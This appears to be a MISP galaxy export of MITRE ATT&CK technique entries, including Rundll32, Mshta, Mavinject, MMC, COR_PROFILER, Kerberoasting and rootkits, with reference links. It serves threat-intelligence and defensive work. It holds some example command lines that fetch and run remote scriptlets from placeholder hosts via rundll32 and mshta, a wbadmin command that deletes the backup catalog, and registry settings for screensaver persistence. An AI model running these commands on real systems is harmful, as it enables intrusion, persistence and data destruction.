Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)

In addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel)

An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.

Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).

The tag is: *misp-galaxy:mitre-attack-pattern="Exploits - T1588.005"*

Table 4551. Table References

Links
https://attack.mitre.org/techniques/T1588/005
https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/
https://www.exploit-db.com/
https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html
https://www.vice.com/en/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec
https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage

Vulnerabilities - T1588.006

Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database)

An adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)).

The tag is: *misp-galaxy:mitre-attack-pattern="Vulnerabilities - T1588.006"*

Table 4552. Table References

Links
https://attack.mitre.org/techniques/T1588/006
https://nvd.nist.gov/

Rundll32 - T1218.011

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>).

Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code> This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)

Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or

<code>A</code> to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: <code>rundll32.exe file.dll,#1</code>).

Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)

The tag is: *misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011"*

Table 4553. Table References

Links
https://attack.mitre.org/techniques/T1218/011
https://github.com/gtworek/PSBits/tree/master/NoRunDll
https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/
https://www.attackify.com/blog/rundll32_execution_order/
https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf

Verclsid - T1218.012

Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)

Adversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running <code>verclsid.exe /S /C {CLSID}</code>, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub)

The tag is: *misp-galaxy:mitre-attack-pattern="Verclsid - T1218.012"*

Table 4554. Table References

Links
https://attack.mitre.org/techniques/T1218/012
https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/
https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5

https://lolbas-project.github.io/lolbas/Binaries/Verclsid/
https://redcanary.com/blog/verclsid-exe-threat-detection/
https://www.winosbite.com/verclsid-exe/

Mavinject - T1218.013

Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)

Adversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. <code>C:\Windows\system32\mavinject.exe PID /INJECTRUNNING PATH_DLL</code>).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process.

In addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its <code>/HMODULE</code> command-line parameter (ex. <code>mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER</code>). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)

The tag is: *misp-galaxy:mitre-attack-pattern="Mavinject - T1218.013"*

Table 4555. Table References

Links
https://attack.mitre.org/techniques/T1218/013
https://cybersecurity.att.com/blogs/labs-research/lazarus-campaign-ttps-and-evolution
https://lolbas-project.github.io/lolbas/Binaries/Mavinject/
https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e
https://reaqta.com/2017/12/mavinject-microsoft-injector/

MMC - T1218.014

Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)

For example, <code>mmc C:\Users\foo\admintools.msc /a</code> will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is <code>mmc gpedit.msc</code>, which will open the Group Policy Editor application window.

Adversaries may use MMC commands to perform malicious tasks. For example, <code>mmc wbadmin.msc delete catalog -quiet</code> deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: <code>wbadmin.msc</code> may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)

Adversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the "Link to Web Address" snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: <code>mmc.exe -Embedding C:\path\to\test.msc</code>.(Citation: abusing_com_reg)

The tag is: *misp-galaxy:mitre-attack-pattern="MMC - T1218.014"*

Table 4556. Table References

Links
https://attack.mitre.org/techniques/T1218/014
https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/
https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/what-is-microsoft-management-console
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mmc
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-catalog
https://docs.microsoft.com/en-us/windows/win32/com/clsid-key-hklm
https://research.checkpoint.com/2019/microsoft-management-console-mmc-vulnerabilities/
https://www.ghacks.net/2017/06/10/windows-msc-files-overview/
https://www.virustotal.com/gui/file/0b4c743246478a6a8c9fa3ff8e04f297507c2f0ea5d61a1284fe65387d172f81/detection

COR_PROFILER - T1574.012

Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)

The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)

Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="COR_PROFILER - T1574.012"*

Table 4557. Table References

Links
https://attack.mitre.org/techniques/T1574/012
https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview
https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)
https://github.com/OmerYa/Invisi-Shell
https://offsec.almond.consulting/UAC-bypass-dotnet.html
https://redcanary.com/blog/blue-mockingbird-cryptominer/
https://redcanary.com/blog/cor_profiler-for-persistence/
https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html

KernelCallbackTable - T1574.013

Adversaries may abuse the <code>KernelCallbackTable</code> of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed) The <code>KernelCallbackTable</code> can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once <code>user32.dll</code> is loaded.(Citation: Windows Process Injection KernelCallbackTable)

An adversary may hijack the execution flow of a process using the <code>KernelCallbackTable</code> by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.

A pointer to the memory address of the <code>KernelCallbackTable</code> can be obtained by locating the PEB (ex: via a call to the <code>NtQueryInformationProcess()</code> [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the <code>KernelCallbackTable</code> can be duplicated, and a function in the table (e.g., <code>fnCOPYDATA</code>) set to the address of a malicious payload (ex: via <code>WriteProcessMemory()</code>). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)

The tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the <code>KernelCallbackTable</code> may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the <code>KernelCallbackTable</code> to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="KernelCallbackTable - T1574.013"*

Table 4558. Table References

Links
https://attack.mitre.org/techniques/T1574/013
https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/
https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess
https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/
https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/

Emond - T1546.014

Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place.

The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)

Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.

The tag is: *misp-galaxy:mitre-attack-pattern="Emond - T1546.014"*

Table 4559. Table References

Links
http://www.magnusviri.com/Mac/what-is-emond.html
https://attack.mitre.org/techniques/T1546/014
https://www.sentinelone.com/blog/how-malware-persists-on-macos/
https://www.xorrior.com/emond-persistence/

Rc.common - T1163

During the boot process, macOS executes <code>source /etc/rc.common</code>, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.

Adversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).

The tag is: *misp-galaxy:mitre-attack-pattern="Rc.common - T1163"*

View relationships graph

Rc.common - T1163 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="RC Scripts - T1037.004" with estimative-language:likelihood-probability="almost-certain"

Table 4560. Table References

Links
https://attack.mitre.org/techniques/T1163
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Regsvcs/Regasm - T1121

Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs)

(Citation: MSDN Regasm)

Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)

The tag is: *misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm - T1121"*

View relationships graph

Regsvcs/Regasm - T1121 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm - T1218.009" with estimative-language:likelihood-probability="almost-certain"

Table 4561. Table References

Links
https://attack.mitre.org/techniques/T1121
https://lolbas-project.github.io/lolbas/Binaries/Regasm/
https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/
https://msdn.microsoft.com/en-us/library/04za0hca.aspx
https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx

Proxy - T1090

Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.

Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.

The tag is: *misp-galaxy:mitre-attack-pattern="Proxy - T1090"*

Table 4562. Table References

Links

http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1090

Rootkit - T1014

Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits)

Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)

The tag is: *misp-galaxy:mitre-attack-pattern="Rootkit - T1014"*

Table 4563. Table References

Links
http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf
https://attack.mitre.org/techniques/T1014
https://capec.mitre.org/data/definitions/552.html
https://en.wikipedia.org/wiki/Rootkit
https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/
https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf

Mshta - T1170

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension <code>.hta</code>. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)

Adversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)

Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code>

They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>

Mshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)

The tag is: *misp-galaxy:mitre-attack-pattern="Mshta - T1170"*

View relationships graph

Mshta - T1170 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"

Table 4564. Table References

Links
https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/
https://attack.mitre.org/techniques/T1170
https://en.wikipedia.org/wiki/HTML_Application
https://lolbas-project.github.io/lolbas/Binaries/Mshta/
https://msdn.microsoft.com/library/ms536471.aspx
https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf
https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/

Screensaver - T1180

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\Windows\System32\</code>, and <code>C:\Windows\sysWOW64\</code> on 64-bit Windows systems, along with screensavers included with base Windows installations.

The following screensaver settings are stored in the Registry (<code>HKCU\Control Panel\Desktop\</code>) and could be manipulated to achieve persistence:

- <code>SCRNSAVE.exe</code> - set to malicious PE path
- <code>ScreenSaveActive</code> - set to '1' to enable the screensaver
- <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock

- <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed

Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Screensaver - T1180"*

View relationships graph

Screensaver - T1180 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Screensaver - T1546.002" with estimative-language:likelihood-probability="almost-certain"

Table 4565. Table References

Links
https://attack.mitre.org/techniques/T1180
https://en.wikipedia.org/wiki/Screensaver
https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf

Rundll32 - T1085

The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.

Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code> This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)

The tag is: *misp-galaxy:mitre-attack-pattern="Rundll32 - T1085"*

View relationships graph

Rundll32 - T1085 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 4566. Table References

Links

https://attack.mitre.org/techniques/T1085
https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf

Hypervisor - T1062

This technique has been deprecated and should no longer be used.

A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.

The tag is: *misp-galaxy:mitre-attack-pattern="Hypervisor - T1062"*

Table 4567. Table References

Links
http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf
http://en.wikipedia.org/wiki/Xen
http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html
https://attack.mitre.org/techniques/T1062
https://capec.mitre.org/data/definitions/552.html
https://en.wikipedia.org/wiki/Hypervisor

Kerberoasting - T1208

Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)

Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)

This same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)

Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). (Citation: SANS Attacking Kerberos Nov 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="Kerberoasting - T1208"*

View relationships graph

Kerberoasting - T1208 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

Table 4568. Table References

Links
https://adsecurity.org/?p=2293
https://attack.mitre.org/techniques/T1208
https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/
https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1
https://msdn.microsoft.com/library/ms677949.aspx
https://redsiege.com/kerberoast-slides
https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx
https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/

Masquerading - T1036

Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.

Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)

The tag is: *misp-galaxy:mitre-attack-pattern="Masquerading - T1036"*

Table 4569. Table References

Links

http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf
https://attack.mitre.org/techniques/T1036
https://capec.mitre.org/data/definitions/177.html
https://lolbas-project.github.io/
https://twitter.com/ItsReallyNick/status/1055321652777619457

Scripting - T1064

This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.

Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.

Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.

Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="Scripting - T1064"*

Table 4570. Table References

Links
http://www.metasploit.com
https://attack.mitre.org/techniques/T1064
https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/
https://github.com/mattifestation/PowerSploit
https://www.uperesia.com/analyzing-malicious-office-documents
https://www.veil-framework.com/framework/

Bootkit - T1067

A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)

Adversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.

Master Boot Record

